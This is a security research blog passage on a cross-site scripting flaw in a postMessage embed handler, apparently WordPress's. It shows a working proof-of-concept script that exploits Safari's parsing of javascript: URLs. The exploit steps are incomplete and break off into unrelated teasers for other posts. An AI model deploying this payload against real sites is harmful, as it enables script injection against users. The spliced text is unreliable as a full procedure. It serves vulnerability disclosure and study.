Insights
What is postMessage()?
To understand my line of thinking and methodology, I first need to discuss what postMessage() is. It is part of the Web API, allows for safe and secure cross-origin communication between Window objects, it means that this method can send a message from one window to another, regardless of their origins. However, wrong usage of this feature can open up potential vectors for security vulnerabilities, such as the XSS we’re discussing in this article.
Root cause
Let’s take a look to the core of problem – JavaScript postMessage handler:
if (c.wp.receiveEmbedMessage = function(e) {
var t = e.data;
if (t)
if (t.secret || t.message || t.value)
if (!/[^a-zA-Z0-9]/.test(t.secret)) {
for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
n[o].style.display = "none";
for (o = 0; o < s.length; o++)
if (r = s[o],
e.source === r.contentWindow) {
if (r.removeAttribute("style"),
"height" === t.message) {
if (1e3 < (i = parseInt(t.value, 10)))
i = 1e3;
else if (~~i < 200)
i = 200;
r.height = i
}
if ("link" === t.message)
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
if (d.activeElement === r)
c.top.location.href = t.value
}
}
}
Things that could be noticed in this code:
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
This code checks if the hostname provided in t.value is the same as the hostname of the embed page. It creates <a> element, but t.value as href attribute and then – takes the host attribute of the created URL. This approach is of course way better than some regular expression magic 😉 but there’s a behavior specific in Safari browser:
> var a = document.createElement("a")
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com
<script>
if(document.location.hash.indexOf("secret") != -1) {
secret = document.location.hash.split("=")[1];
window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
3. Create any post on an attacker blog, publish it and get its URL.Within last year I shared a a few writeups of my bypasses of HTML sanitizers, including: > Write-up of DOMPurify 2.0.0 bypass using mutation XSS > Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass While breaking sanitizers is fun and I thoroughly enjoy doing it, I reached a point where I began to think whether I can contribute even more and propose a fix that will kill an entire class of bypasses.
A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in the browser is not new; the pyodide project has allowed this for a long time...
Summary: During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script. Below you can find the way of finding bug bounty vulnerabilities from the beginning to the ...